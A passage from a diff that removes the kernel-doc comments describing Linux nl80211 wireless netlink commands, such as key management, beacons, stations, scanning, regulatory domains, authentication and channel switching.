- *	%NL80211_ATTR_KEY_DEFAULT_MGMT, or %NL80211_ATTR_KEY_THRESHOLD.
- * @NL80211_CMD_NEW_KEY: add a key with given %NL80211_ATTR_KEY_DATA,
- *	%NL80211_ATTR_KEY_IDX, %NL80211_ATTR_MAC, %NL80211_ATTR_KEY_CIPHER,
- *	and %NL80211_ATTR_KEY_SEQ attributes.
- * @NL80211_CMD_DEL_KEY: delete a key identified by %NL80211_ATTR_KEY_IDX
- *	or %NL80211_ATTR_MAC.
- *
- * @NL80211_CMD_GET_BEACON: (not used)
- * @NL80211_CMD_SET_BEACON: change the beacon on an access point interface
- *	using the %NL80211_ATTR_BEACON_HEAD and %NL80211_ATTR_BEACON_TAIL
- *	attributes. For drivers that generate the beacon and probe responses
- *	internally, the following attributes must be provided: %NL80211_ATTR_IE,
- *	%NL80211_ATTR_IE_PROBE_RESP and %NL80211_ATTR_IE_ASSOC_RESP.
- * @NL80211_CMD_START_AP: Start AP operation on an AP interface, parameters
- *	are like for %NL80211_CMD_SET_BEACON, and additionally parameters that
- *	do not change are used, these include %NL80211_ATTR_BEACON_INTERVAL,
- *	%NL80211_ATTR_DTIM_PERIOD, %NL80211_ATTR_SSID,
- *	%NL80211_ATTR_HIDDEN_SSID, %NL80211_ATTR_CIPHERS_PAIRWISE,
- *	%NL80211_ATTR_CIPHER_GROUP, %NL80211_ATTR_WPA_VERSIONS,
- *	%NL80211_ATTR_AKM_SUITES, %NL80211_ATTR_PRIVACY,
- *	%NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_INACTIVITY_TIMEOUT,
- *	%NL80211_ATTR_ACL_POLICY and %NL80211_ATTR_MAC_ADDRS.
- *	The channel to use can be set on the interface or be given using the
- *	%NL80211_ATTR_WIPHY_FREQ and the attributes determining channel width.
- * @NL80211_CMD_NEW_BEACON: old alias for %NL80211_CMD_START_AP
- * @NL80211_CMD_STOP_AP: Stop AP operation on the given interface
- * @NL80211_CMD_DEL_BEACON: old alias for %NL80211_CMD_STOP_AP
- *
- * @NL80211_CMD_GET_STATION: Get station attributes for station identified by
- *	%NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_STATION: Set station attributes for station identified by
- *	%NL80211_ATTR_MAC on the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_NEW_STATION: Add a station with given attributes to the
- *	the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_DEL_STATION: Remove a station identified by %NL80211_ATTR_MAC
- *	or, if no MAC address given, all stations, on the interface identified
- *	by %NL80211_ATTR_IFINDEX. %NL80211_ATTR_MGMT_SUBTYPE and
- *	%NL80211_ATTR_REASON_CODE can optionally be used to specify which type
- *	of disconnection indication should be sent to the station
- *	(Deauthentication or Disassociation frame and reason code for that
- *	frame).
- *
- * @NL80211_CMD_GET_MPATH: Get mesh path attributes for mesh path to
- * 	destination %NL80211_ATTR_MAC on the interface identified by
- * 	%NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_MPATH:  Set mesh path attributes for mesh path to
- * 	destination %NL80211_ATTR_MAC on the interface identified by
- * 	%NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_NEW_MPATH: Create a new mesh path for the destination given by
- *	%NL80211_ATTR_MAC via %NL80211_ATTR_MPATH_NEXT_HOP.
- * @NL80211_CMD_DEL_MPATH: Delete a mesh path to the destination given by
- *	%NL80211_ATTR_MAC.
- * @NL80211_CMD_NEW_PATH: Add a mesh path with given attributes to the
- *	the interface identified by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_DEL_PATH: Remove a mesh path identified by %NL80211_ATTR_MAC
- *	or, if no MAC address given, all mesh paths, on the interface identified
- *	by %NL80211_ATTR_IFINDEX.
- * @NL80211_CMD_SET_BSS: Set BSS attributes for BSS identified by
- *	%NL80211_ATTR_IFINDEX.
- *
- * @NL80211_CMD_GET_REG: ask the wireless core to send us its currently set
- * 	regulatory domain.
- * @NL80211_CMD_SET_REG: Set current regulatory domain. CRDA sends this command
- *	after being queried by the kernel. CRDA replies by sending a regulatory
- *	domain structure which consists of %NL80211_ATTR_REG_ALPHA set to our
- *	current alpha2 if it found a match. It also provides
- * 	NL80211_ATTR_REG_RULE_FLAGS, and a set of regulatory rules. Each
- * 	regulatory rule is a nested set of attributes  given by
- * 	%NL80211_ATTR_REG_RULE_FREQ_[START|END] and
- * 	%NL80211_ATTR_FREQ_RANGE_MAX_BW with an attached power rule given by
- * 	%NL80211_ATTR_REG_RULE_POWER_MAX_ANT_GAIN and
- * 	%NL80211_ATTR_REG_RULE_POWER_MAX_EIRP.
- * @NL80211_CMD_REQ_SET_REG: ask the wireless core to set the regulatory domain
- * 	to the specified ISO/IEC 3166-1 alpha2 country code. The core will
- * 	store this as a valid request and then query userspace for it.
- *
- * @NL80211_CMD_GET_MESH_CONFIG: Get mesh networking properties for the
- *	interface identified by %NL80211_ATTR_IFINDEX
- *
- * @NL80211_CMD_SET_MESH_CONFIG: Set mesh networking properties for the
- *      interface identified by %NL80211_ATTR_IFINDEX
- *
- * @NL80211_CMD_SET_MGMT_EXTRA_IE: Set extra IEs for management frames. The
- *	interface is identified with %NL80211_ATTR_IFINDEX and the management
- *	frame subtype with %NL80211_ATTR_MGMT_SUBTYPE. The extra IE data to be
- *	added to the end of the specified management frame is specified with
- *	%NL80211_ATTR_IE. If the command succeeds, the requested data will be
- *	added to all specified management frames generated by
- *	kernel/firmware/driver.
- *	Note: This command has been removed and it is only reserved at this
- *	point to avoid re-using existing command number. The functionality this
- *	command was planned for has been provided with cleaner design with the
- *	option to specify additional IEs in NL80211_CMD_TRIGGER_SCAN,
- *	NL80211_CMD_AUTHENTICATE, NL80211_CMD_ASSOCIATE,
- *	NL80211_CMD_DEAUTHENTICATE, and NL80211_CMD_DISASSOCIATE.
- *
- * @NL80211_CMD_GET_SCAN: get scan results
- * @NL80211_CMD_TRIGGER_SCAN: trigger a new scan with the given parameters
- *	%NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
- *	probe requests at CCK rate or not. %NL80211_ATTR_MAC can be used to
- *	specify a BSSID to scan for; if not included, the wildcard BSSID will
- *	be used.
- * @NL80211_CMD_NEW_SCAN_RESULTS: scan notification (as a reply to
- *	NL80211_CMD_GET_SCAN and on the "scan" multicast group)
- * @NL80211_CMD_SCAN_ABORTED: scan was aborted, for unspecified reasons,
- *	partial scan results may be available
- *
- * @NL80211_CMD_START_SCHED_SCAN: start a scheduled scan at certain
- *	intervals, as specified by %NL80211_ATTR_SCHED_SCAN_INTERVAL.
- *	Like with normal scans, if SSIDs (%NL80211_ATTR_SCAN_SSIDS)
- *	are passed, they are used in the probe requests.  For
- *	broadcast, a broadcast SSID must be passed (ie. an empty
- *	string).  If no SSID is passed, no probe requests are sent and
- *	a passive scan is performed.  %NL80211_ATTR_SCAN_FREQUENCIES,
- *	if passed, define which channels should be scanned; if not
- *	passed, all channels allowed for the current regulatory domain
- *	are used.  Extra IEs can also be passed from the userspace by
- *	using the %NL80211_ATTR_IE attribute.
- * @NL80211_CMD_STOP_SCHED_SCAN: stop a scheduled scan. Returns -ENOENT if
- *	scheduled scan is not running. The caller may assume that as soon
- *	as the call returns, it is safe to start a new scheduled scan again.
- * @NL80211_CMD_SCHED_SCAN_RESULTS: indicates that there are scheduled scan
- *	results available.
- * @NL80211_CMD_SCHED_SCAN_STOPPED: indicates that the scheduled scan has
- *	stopped.  The driver may issue this event at any time during a
- *	scheduled scan.  One reason for stopping the scan is if the hardware
- *	does not support starting an association or a normal scan while running
- *	a scheduled scan.  This event is also sent when the
- *	%NL80211_CMD_STOP_SCHED_SCAN command is received or when the interface
- *	is brought down while a scheduled scan was running.
- *
- * @NL80211_CMD_GET_SURVEY: get survey resuls, e.g. channel occupation
- *      or noise level
- * @NL80211_CMD_NEW_SURVEY_RESULTS: survey data notification (as a reply to
- *	NL80211_CMD_GET_SURVEY and on the "scan" multicast group)
- *
- * @NL80211_CMD_SET_PMKSA: Add a PMKSA cache entry, using %NL80211_ATTR_MAC
- *	(for the BSSID) and %NL80211_ATTR_PMKID.
- * @NL80211_CMD_DEL_PMKSA: Delete a PMKSA cache entry, using %NL80211_ATTR_MAC
- *	(for the BSSID) and %NL80211_ATTR_PMKID.
- * @NL80211_CMD_FLUSH_PMKSA: Flush all PMKSA cache entries.
- *
- * @NL80211_CMD_REG_CHANGE: indicates to userspace the regulatory domain
- * 	has been changed and provides details of the request information
- * 	that caused the change such as who initiated the regulatory request
- * 	(%NL80211_ATTR_REG_INITIATOR), the wiphy_idx
- * 	(%NL80211_ATTR_REG_ALPHA2) on which the request was made from if
- * 	the initiator was %NL80211_REGDOM_SET_BY_COUNTRY_IE or
- * 	%NL80211_REGDOM_SET_BY_DRIVER, the type of regulatory domain
- * 	set (%NL80211_ATTR_REG_TYPE), if the type of regulatory domain is
- * 	%NL80211_REG_TYPE_COUNTRY the alpha2 to which we have moved on
- * 	to (%NL80211_ATTR_REG_ALPHA2).
- * @NL80211_CMD_REG_BEACON_HINT: indicates to userspace that an AP beacon
- * 	has been found while world roaming thus enabling active scan or
- * 	any mode of operation that initiates TX (beacons) on a channel
- * 	where we would not have been able to do either before. As an example
- * 	if you are world roaming (regulatory domain set to world or if your
- * 	driver is using a custom world roaming regulatory domain) and while
- * 	doing a passive scan on the 5 GHz band you find an AP there (if not
- * 	on a DFS channel) you will now be able to actively scan for that AP
- * 	or use AP mode on your card on that same channel. Note that this will
- * 	never be used for channels 1-11 on the 2 GHz band as they are always
- * 	enabled world wide. This beacon hint is only sent if your device had
- * 	either disabled active scanning or beaconing on a channel. We send to
- * 	userspace the wiphy on which we removed a restriction from
- * 	(%NL80211_ATTR_WIPHY) and the channel on which this occurred
- * 	before (%NL80211_ATTR_FREQ_BEFORE) and after (%NL80211_ATTR_FREQ_AFTER)
- * 	the beacon hint was processed.
- *
- * @NL80211_CMD_AUTHENTICATE: authentication request and notification.
- *	This command is used both as a command (request to authenticate) and
- *	as an event on the "mlme" multicast group indicating completion of the
- *	authentication process.
- *	When used as a command, %NL80211_ATTR_IFINDEX is used to identify the
- *	interface. %NL80211_ATTR_MAC is used to specify PeerSTAAddress (and
- *	BSSID in case of station mode). %NL80211_ATTR_SSID is used to specify
- *	the SSID (mainly for association, but is included in authentication
- *	request, too, to help BSS selection. %NL80211_ATTR_WIPHY_FREQ is used
- *	to specify the frequence of the channel in MHz. %NL80211_ATTR_AUTH_TYPE
- *	is used to specify the authentication type. %NL80211_ATTR_IE is used to
- *	define IEs (VendorSpecificInfo, but also including RSN IE and FT IEs)
- *	to be added to the frame.
- *	When used as an event, this reports reception of an Authentication
- *	frame in station and IBSS modes when the local MLME processed the
- *	frame, i.e., it was for the local STA and was received in correct
- *	state. This is similar to MLME-AUTHENTICATE.confirm primitive in the
- *	MLME SAP interface (kernel providing MLME, userspace SME). The
- *	included %NL80211_ATTR_FRAME attribute contains the management frame
- *	(including both the header and frame body, but not FCS). This event is
- *	also used to indicate if the authentication attempt timed out. In that
- *	case the %NL80211_ATTR_FRAME attribute is replaced with a
- *	%NL80211_ATTR_TIMED_OUT flag (and %NL80211_ATTR_MAC to indicate which
- *	pending authentication timed out).
- * @NL80211_CMD_ASSOCIATE: association request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Association and Reassociation
- *	(similar to MLME-ASSOCIATE.request, MLME-REASSOCIATE.request,
- *	MLME-ASSOCIATE.confirm or MLME-REASSOCIATE.confirm primitives).
- * @NL80211_CMD_DEAUTHENTICATE: deauthentication request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Deauthentication frames (similar to
- *	MLME-DEAUTHENTICATION.request and MLME-DEAUTHENTICATE.indication
- *	primitives).
- * @NL80211_CMD_DISASSOCIATE: disassociation request and notification; like
- *	NL80211_CMD_AUTHENTICATE but for Disassociation frames (similar to
- *	MLME-DISASSOCIATE.request and MLME-DISASSOCIATE.indication primitives).
- *
- * @NL80211_CMD_MICHAEL_MIC_FAILURE: notification of a locally detected Michael
- *	MIC (part of TKIP) failure; sent on the "mlme" multicast group; the
- *	event includes %NL80211_ATTR_MAC to describe the source MAC address of
- *	the frame with invalid MIC, %NL80211_ATTR_KEY_TYPE to show the key
- *	type, %NL80211_ATTR_KEY_IDX to indicate the key identifier, and
- *	%NL80211_ATTR_KEY_SEQ to indicate the TSC value of the frame; this
- *	event matches with MLME-MICHAELMICFAILURE.indication() primitive
- *
- * @NL80211_CMD_JOIN_IBSS: Join a new IBSS -- given at least an SSID and a
- *	FREQ attribute (for the initial frequency if no peer can be found)
- *	and optionally a MAC (as BSSID) and FREQ_FIXED attribute if those
- *	should be fixed rather than automatically determined. Can only be
- *	executed on a network interface that is UP, and fixed BSSID/FREQ
- *	may be rejected. Another optional parameter is the beacon interval,
- *	given in the %NL80211_ATTR_BEACON_INTERVAL attribute, which if not
- *	given defaults to 100 TU (102.4ms).
- * @NL80211_CMD_LEAVE_IBSS: Leave the IBSS -- no special arguments, the IBSS is
- *	determined by the network interface.
- *
- * @NL80211_CMD_TESTMODE: testmode command, takes a wiphy (or ifindex) attribute
- *	to identify the device, and the TESTDATA blob attribute to pass through
- *	to the driver.
- *
- * @NL80211_CMD_CONNECT: connection request and notification; this command
- *	requests to connect to a specified network but without separating
- *	auth and assoc steps. For this, you need to specify the SSID in a
- *	%NL80211_ATTR_SSID attribute, and can optionally specify the association
- *	IEs in %NL80211_ATTR_IE, %NL80211_ATTR_AUTH_TYPE, %NL80211_ATTR_USE_MFP,
- *	%NL80211_ATTR_MAC, %NL80211_ATTR_WIPHY_FREQ, %NL80211_ATTR_CONTROL_PORT,
- *	%NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
- *	%NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT, %NL80211_ATTR_MAC_HINT, and
- *	%NL80211_ATTR_WIPHY_FREQ_HINT.
- *	If included, %NL80211_ATTR_MAC and %NL80211_ATTR_WIPHY_FREQ are
- *	restrictions on BSS selection, i.e., they effectively prevent roaming
- *	within the ESS. %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT
- *	can be included to provide a recommendation of the initial BSS while
- *	allowing the driver to roam to other BSSes within the ESS and also to
- *	ignore this recommendation if the indicated BSS is not ideal. Only one
- *	set of BSSID,frequency parameters is used (i.e., either the enforcing
- *	%NL80211_ATTR_MAC,%NL80211_ATTR_WIPHY_FREQ or the less strict
- *	%NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT).
- *	Background scan period can optionally be
- *	specified in %NL80211_ATTR_BG_SCAN_PERIOD,
- *	if not specified default background scan configuration
- *	in driver is used and if period value is 0, bg scan will be disabled.
- *	This attribute is ignored if driver does not support roam scan.
- *	It is also sent as an event, with the BSSID and response IEs when the
- *	connection is established or failed to be established. This can be
- *	determined by the STATUS_CODE attribute.
- * @NL80211_CMD_ROAM: request that the card roam (currently not implemented),
- *	sent as an event when the card/driver roamed by itself.
- * @NL80211_CMD_DISCONNECT: drop a given connection; also used to notify
- *	userspace that a connection was dropped by the AP or due to other
- *	reasons, for this the %NL80211_ATTR_DISCONNECTED_BY_AP and
- *	%NL80211_ATTR_REASON_CODE attributes are used.
- *
- * @NL80211_CMD_SET_WIPHY_NETNS: Set a wiphy's netns. Note that all devices
- *	associated with this wiphy must be down and will follow.
- *
- * @NL80211_CMD_REMAIN_ON_CHANNEL: Request to remain awake on the specified
- *	channel for the specified amount of time. This can be used to do
- *	off-channel operations like transmit a Public Action frame and wait for
- *	a response while being associated to an AP on another channel.
- *	%NL80211_ATTR_IFINDEX is used to specify which interface (and thus
- *	radio) is used. %NL80211_ATTR_WIPHY_FREQ is used to specify the
- *	frequency for the operation.
- *	%NL80211_ATTR_DURATION is used to specify the duration in milliseconds
- *	to remain on the channel. This command is also used as an event to
- *	notify when the requested duration starts (it may take a while for the
- *	driver to schedule this time due to other concurrent needs for the
- *	radio).
- *	When called, this operation returns a cookie (%NL80211_ATTR_COOKIE)
- *	that will be included with any events pertaining to this request;
- *	the cookie is also used to cancel the request.
- * @NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: This command can be used to cancel a
- *	pending remain-on-channel duration if the desired operation has been
- *	completed prior to expiration of the originally requested duration.
- *	%NL80211_ATTR_WIPHY or %NL80211_ATTR_IFINDEX is used to specify the
- *	radio. The %NL80211_ATTR_COOKIE attribute must be given as well to
- *	uniquely identify the request.
- *	This command is also used as an event to notify when a requested
- *	remain-on-channel duration has expired.
- *
- * @NL80211_CMD_SET_TX_BITRATE_MASK: Set the mask of rates to be used in TX
- *	rate selection. %NL80211_ATTR_IFINDEX is used to specify the interface
- *	and @NL80211_ATTR_TX_RATES the set of allowed rates.
- *
- * @NL80211_CMD_REGISTER_FRAME: Register for receiving certain mgmt frames
- *	(via @NL80211_CMD_FRAME) for processing in userspace. This command
- *	requires an interface index, a frame type attribute (optional for
- *	backward compatibility reasons, if not given assumes action frames)
- *	and a match attribute containing the first few bytes of the frame
- *	that should match, e.g. a single byte for only a category match or
- *	four bytes for vendor frames including the OUI. The registration
- *	cannot be dropped, but is removed automatically when the netlink
- *	socket is closed. Multiple registrations can be made.
- * @NL80211_CMD_REGISTER_ACTION: Alias for @NL80211_CMD_REGISTER_FRAME for
- *	backward compatibility
- * @NL80211_CMD_FRAME: Management frame TX request and RX notification. This
- *	command is used both as a request to transmit a management frame and
- *	as an event indicating reception of a frame that was not processed in
- *	kernel code, but is for us (i.e., which may need to be processed in a
- *	user space application). %NL80211_ATTR_FRAME is used to specify the
- *	frame contents (including header). %NL80211_ATTR_WIPHY_FREQ is used
- *	to indicate on which channel the frame is to be transmitted or was
- *	received. If this channel is not the current channel (remain-on-channel
- *	or the operational channel) the device will switch to the given channel
- *	and transmit the frame, optionally waiting for a response for the time
- *	specified using %NL80211_ATTR_DURATION. When called, this operation
- *	returns a cookie (%NL80211_ATTR_COOKIE) that will be included with the
- *	TX status event pertaining to the TX request.
- *	%NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
- *	management frames at CCK rate or not in 2GHz band.
- *	%NL80211_ATTR_CSA_C_OFFSETS_TX is an array of offsets to CSA
- *	counters which will be updated to the current value. This attribute
- *	is used during CSA period.
- * @NL80211_CMD_FRAME_WAIT_CANCEL: When an off-channel TX was requested, this
- *	command may be used with the corresponding cookie to cancel the wait
- *	time if it is known that it is no longer necessary.
- * @NL80211_CMD_ACTION: Alias for @NL80211_CMD_FRAME for backward compatibility.
- * @NL80211_CMD_FRAME_TX_STATUS: Report TX status of a management frame
- *	transmitted with %NL80211_CMD_FRAME. %NL80211_ATTR_COOKIE identifies
- *	the TX command and %NL80211_ATTR_FRAME includes the contents of the
- *	frame. %NL80211_ATTR_ACK flag is included if the recipient acknowledged
- *	the frame.
- * @NL80211_CMD_ACTION_TX_STATUS: Alias for @NL80211_CMD_FRAME_TX_STATUS for
- *	backward compatibility.
- *
- * @NL80211_CMD_SET_POWER_SAVE: Set powersave, using %NL80211_ATTR_PS_STATE
- * @NL80211_CMD_GET_POWER_SAVE: Get powersave status in %NL80211_ATTR_PS_STATE
- *
- * @NL80211_CMD_SET_CQM: Connection quality monitor configuration. This command
- *	is used to configure connection quality monitoring notification trigger
- *	levels.
- * @NL80211_CMD_NOTIFY_CQM: Connection quality monitor notification. This
- *	command is used as an event to indicate the that a trigger level was
- *	reached.
- * @NL80211_CMD_SET_CHANNEL: Set the channel (using %NL80211_ATTR_WIPHY_FREQ
- *	and the attributes determining channel width) the given interface
- *	(identifed by %NL80211_ATTR_IFINDEX) shall operate on.
- *	In case multiple channels are supported by the device, the mechanism
- *	with which it switches channels is implementation-defined.
- *	When a monitor interface is given, it can only switch channel while
- *	no other interfaces are operating to avoid disturbing the operation
- *	of any other interfaces, and other interfaces will again take
- *	precedence when they are used.
- *
- * @NL80211_CMD_SET_WDS_PEER: Set the MAC address of the peer on a WDS
- *interface.
- *
- * @NL80211_CMD_JOIN_MESH: Join a mesh. The mesh ID must be given, and initial
- *	mesh config parameters may be given.
- * @NL80211_CMD_LEAVE_MESH: Leave the mesh network -- no special arguments, the
- *	network is determined by the network interface.
- *
- * @NL80211_CMD_UNPROT_DEAUTHENTICATE: Unprotected deauthentication frame
- *	notification. This event is used to indicate that an unprotected
- *	deauthentication frame was dropped when MFP is in use.
- * @NL80211_CMD_UNPROT_DISASSOCIATE: Unprotected disassociation frame
- *	notification. This event is used to indicate that an unprotected
- *	disassociation frame was dropped when MFP is in use.
- *
- * @NL80211_CMD_NEW_PEER_CANDIDATE: Notification on the reception of a
- *      beacon or probe response from a compatible mesh peer.  This is only
- *      sent while no station information (sta_info) exists for the new peer
- *      candidate and when @NL80211_MESH_SETUP_USERSPACE_AUTH,
- *      @NL80211_MESH_SETUP_USERSPACE_AMPE, or
- *      @NL80211_MESH_SETUP_USERSPACE_MPM is set.  On reception of this
- *      notification, userspace may decide to create a new station
- *      (@NL80211_CMD_NEW_STATION).  To stop this notification from
- *      reoccurring, the userspace authentication daemon may want to create the
- *      new station with the AUTHENTICATED flag unset and maybe change it later
- *      depending on the authentication result.
- *
- * @NL80211_CMD_GET_WOWLAN: get Wake-on-Wireless-LAN (WoWLAN) settings.
- * @NL80211_CMD_SET_WOWLAN: set Wake-on-Wireless-LAN (WoWLAN) settings.
- *	Since wireless is more complex than wired ethernet, it supports
- *	various triggers. These triggers can be configured through this
- *	command with the %NL80211_ATTR_WOWLAN_TRIGGERS attribute. For
- *	more background information, see
- *	http://wireless.kernel.org/en/users/Documentation/WoWLAN.
- *	The @NL80211_CMD_SET_WOWLAN command can also be used as a notification
- *	from the driver reporting the wakeup reason. In this case, the
- *	@NL80211_ATTR_WOWLAN_TRIGGERS attribute will contain the reason
- *	for the wakeup, if it was caused by wireless. If it is not present
- *	in the wakeup notification, the wireless device didn't cause the
- *	wakeup but reports that it was woken up.
- *
- * @NL80211_CMD_SET_REKEY_OFFLOAD: This command is used give the driver
- *	the necessary information for supporting GTK rekey offload. This
- *	feature is typically used during WoWLAN. The configuration data
- *	is contained in %NL80211_ATTR_REKEY_DATA (which is nested and
- *	contains the data in sub-attributes). After rekeying happened,
- *	this command may also be sent by the driver as an MLME event to
- *	inform userspace of the new replay counter.
- *
- * @NL80211_CMD_PMKSA_CANDIDATE: This is used as an event to inform userspace
- *	of PMKSA caching dandidates.
- *
- * @NL80211_CMD_TDLS_OPER: Perform a high-level TDLS command (e.g. link setup).
- *	In addition, this can be used as an event to request userspace to take
- *	actions on TDLS links (set up a new link or tear down an existing one).
- *	In such events, %NL80211_ATTR_TDLS_OPERATION indicates the requested
- *	operation, %NL80211_ATTR_MAC contains the peer MAC address, and
- *	%NL80211_ATTR_REASON_CODE the reason code to be used (only with
- *	%NL80211_TDLS_TEARDOWN).
- * @NL80211_CMD_TDLS_MGMT: Send a TDLS management frame. The
- *	%NL80211_ATTR_TDLS_ACTION attribute determines the type of frame to be
- *	sent. Public Action codes (802.11-2012 8.1.5.1) will be sent as
- *	802.11 management frames, while TDLS action codes (802.11-2012
- *	8.5.13.1) will be encapsulated and sent as data frames. The currently
- *	supported Public Action code is %WLAN_PUB_ACTION_TDLS_DISCOVER_RES
- *	and the currently supported TDLS actions codes are given in
- *	&enum ieee80211_tdls_actioncode.
- *
- * @NL80211_CMD_UNEXPECTED_FRAME: Used by an application controlling an AP
- *	(or GO) interface (i.e. hostapd) to ask for unexpected frames to
- *	implement sending deauth to stations that send unexpected class 3
- *	frames. Also used as the event sent by the kernel when such a frame
- *	is received.
- *	For the event, the %NL80211_ATTR_MAC attribute carries the TA and
- *	other attributes like the interface index are present.
- *	If used as the command it must have an interface index and you can
- *	only unsubscribe from the event by closing the socket. Subscription
- *	is also for %NL80211_CMD_UNEXPECTED_4ADDR_FRAME events.
- *
- * @NL80211_CMD_UNEXPECTED_4ADDR_FRAME: Sent as an event indicating that the
- *	associated station identified by %NL80211_ATTR_MAC sent a 4addr frame
- *	and wasn't already in a 4-addr VLAN. The event will be sent similarly
- *	to the %NL80211_CMD_UNEXPECTED_FRAME event, to the same listener.
- *
- * @NL80211_CMD_PROBE_CLIENT: Probe an associated station on an AP interface
- *	by sending a null data frame to it and reporting when the frame is
- *	acknowleged. This is used to allow timing out inactive clients. Uses
- *	%NL80211_ATTR_IFINDEX and %NL80211_ATTR_MAC. The command returns a
- *	direct reply with an %NL80211_ATTR_COOKIE that is later used to match
- *	up the event with the request. The event includes the same data and
- *	has %NL80211_ATTR_ACK set if the frame was ACKed.
- *
- * @NL80211_CMD_REGISTER_BEACONS: Register this socket to receive beacons from
- *	other BSSes when any interfaces are in AP mode. This helps implement
- *	OLBC handling in hostapd. Beacons are reported in %NL80211_CMD_FRAME
- *	messages. Note that per PHY only one application may register.
- *
- * @NL80211_CMD_SET_NOACK_MAP: sets a bitmap for the individual TIDs whether
- *      No Acknowledgement Policy should be applied.
- *
- * @NL80211_CMD_CH_SWITCH_NOTIFY: An AP or GO may decide to switch channels
- *	independently of the userspace SME, send this event indicating
- *	%NL80211_ATTR_IFINDEX is now on %NL80211_ATTR_WIPHY_FREQ and the
- *	attributes determining channel width.
- *
- * @NL80211_CMD_CH_SWITCH_STARTED_NOTIFY: Notify that a channel switch
- *      has been started on an interface, regardless of the initiator
- *      (ie. whether it was requested from a remote device or
- *      initiated on our own).  It indicates that
- *      %NL80211_ATTR_IFINDEX will be on %NL80211_ATTR_WIPHY_FREQ
- *      after %NL80211_ATTR_CH_SWITCH_COUNT TBTT's.  The userspace may
- *      decide to react to this indication by requesting other
- *      interfaces to change channel as well.
- *
- * @NL80211_CMD_START_P2P_DEVICE: Start the given P2P Device, identified by
- *	its %NL80211_ATTR_WDEV identifier. It must have been created with
- *	%NL80211_CMD_NEW_INTERFACE previously. After it has been started, the
- *	P2P Device can be used for P2P operations, e.g. remain-on-channel and
- *	public action frame TX.
- * @NL80211_CMD_STOP_P2P_DEVICE: Stop the given P2P Device, identified by
- *	its %NL80211_ATTR_WDEV identifier.
- *
- * @NL80211_CMD_CONN_FAILED: connection request to an AP failed; used to
- *	notify userspace that AP has rejected the connection request from a
- *	station, due to particular reason. %NL80211_ATTR_CONN_FAILED_REASON
- *	is used for this.
- *
- * @NL80211_CMD_SET_MCAST_RATE: Change the rate used to send multicast frames
- *	for IBSS or MESH vif.
- *
- * @NL80211_CMD_SET_MAC_ACL: sets ACL for MAC address based access control.
- *	This is to be used with the drivers advertising the support of MAC
- *	address based access control. List of MAC addresses is passed in
- *	%NL80211_ATTR_MAC_ADDRS and ACL policy is passed in
- *	%NL80211_ATTR_ACL_POLICY. Driver will enable ACL with this list, if it
- *	is not already done. The new list will replace any existing list. Driver
- *	will clear its ACL when the list of MAC addresses passed is empty. This
- *	command is used in AP/P2P GO mode. Driver has to make sure to clear its
- *	ACL list during %NL80211_CMD_STOP_AP.
- *
- * @NL80211_CMD_RADAR_DETECT: Start a Channel availability check (CAC). Once
- *	a radar is detected or the channel availability scan (CAC) has finished
- *	or was aborted, or a radar was detected, usermode will be notified with
- *	this event. This command is also used to notify userspace about radars
- *	while operating on this channel.
- *	%NL80211_ATTR_RADAR_EVENT is used to inform about the type of the
- *	event.
- *
- * @NL80211_CMD_GET_PROTOCOL_FEATURES: Get global nl80211 protocol features,
- *	i.e. features for the nl80211 protocol rather than device features.
- *	Returns the features in the %NL80211_ATTR_PROTOCOL_FEATURES bitmap.
- *
- * @NL80211_CMD_UPDATE_FT_IES: Pass down the most up-to-date Fast Transition
- *	Information Element to the WLAN driver
- *
- * @NL80211_CMD_FT_EVENT: Send a Fast transition event from the WLAN driver
- *	to the supplicant. This will carry the target AP's MAC address along
- *	with the relevant Information Elements. This event is used to report
- *	received FT IEs (MDIE, FTIE, RSN IE, TIE, RICIE).
- *
- * @NL80211_CMD_CRIT_PROTOCOL_START: Indicates user-space will start running
- *	a critical protocol that needs more reliability in the connection to
- *	complete.
- *
- * @NL80211_CMD_CRIT_PROTOCOL_STOP: Indicates the connection reliability can
- *	return back to normal.
- *
- * @NL80211_CMD_GET_COALESCE: Get currently supported coalesce rules.
- * @NL80211_CMD_SET_COALESCE: Configure coalesce rules or clear existing rules.
- *
- * @NL80211_CMD_CHANNEL_SWITCH: Perform a channel switch by announcing the
- *	the new channel information (Channel Switch Announcement - CSA)
- *	in the beacon for some time (as defined in the
- *	%NL80211_ATTR_CH_SWITCH_COUNT parameter) and then change to the
- *	new channel. Userspace provides the new channel information (using
- *	%NL80211_ATTR_WIPHY_FREQ and the attributes determining channel
- *	width). %NL80211_ATTR_CH_SWITCH_BLOCK_TX may be supplied to inform
- *	other station that transmission must be blocked until the channel
- *	switch is complete.
- *
- * @NL80211_CMD_VENDOR: Vendor-specified command/event. The command is specified
- *	by the %NL80211_ATTR_VENDOR_ID attribute and a sub-command in
- *	%NL80211_ATTR_VENDOR_SUBCMD. Parameter(s) can be transported in
- *	%NL80211_ATTR_VENDOR_DATA.
- *	For feature advertisement, the %NL80211_ATTR_VENDOR_DATA attribute is
- *	used in the wiphy data as a nested attribute containing descriptions
- *	(&struct nl80211_vendor_cmd_info) of the supported vendor commands.
- *	This may also be sent as an event with the same attributes.
- *
- * @NL80211_CMD_SET_QOS_MAP: Set Interworking QoS mapping for IP DSCP values.
- *	The QoS mapping information is included in %NL80211_ATTR_QOS_MAP. If
- *	that attribute is not included, QoS mapping is disabled. Since this
- *	QoS mapping is relevant for IP packets, it is only valid during an
- *	association. This is cleared on disassociation and AP restart.
- *
- * @NL80211_CMD_ADD_TX_TS: Ask the kernel to add a traffic stream for the given
- *	%NL80211_ATTR_TSID and %NL80211_ATTR_MAC with %NL80211_ATTR_USER_PRIO
- *	and %NL80211_ATTR_ADMITTED_TIME parameters.
